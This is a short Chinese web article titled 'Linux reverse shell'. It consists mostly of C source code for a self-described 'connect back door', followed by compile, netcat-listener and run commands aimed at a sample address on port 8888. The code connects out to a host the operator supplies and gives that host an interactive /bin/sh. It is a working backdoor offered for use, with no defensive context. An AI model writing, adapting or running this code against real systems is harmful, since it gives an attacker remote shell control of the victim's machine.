您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 安全防护 >> Linux反弹shell

相关文章链接

本类文章排行

最新新闻资讯

    Linux反弹shell

    Linux反弹shell


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <netdb.h>

    void usage();
    char shell[]="/bin/sh";
    char message[]="s8s8 welcome\n";
    int sock;
    int main(int argc, char *argv[]) {
    if(argc <3){
    usage(argv[0]);
    }

    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("Couldn't make socket!\n"); exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(atoi(argv[2]));
    server.sin_addr.s_addr = inet_addr(argv[1]);

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
    printf("Could not connect to remote shell!\n");
    exit(-1);
    }
    send(sock, message, sizeof(message), 0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
    }

    void usage(char *prog[]) {
       printf("\t\ts8s8 connect back door\n\n");
    printf("\t sql@s8s8.net\n\n");
    printf("Usage: %s <reflect ip> <port>\n", prog);
    exit(-1);
    }

     gcc -o f f.c

    再在本机上监听一个端口

    nc -l -p 8888

    再执行./f 192.168.1.14 8888

    注:反弹回来的 shell没提示符。


查看所有评论

网友对Linux反弹shell的评论

网名:
主题:
内容:
验证码: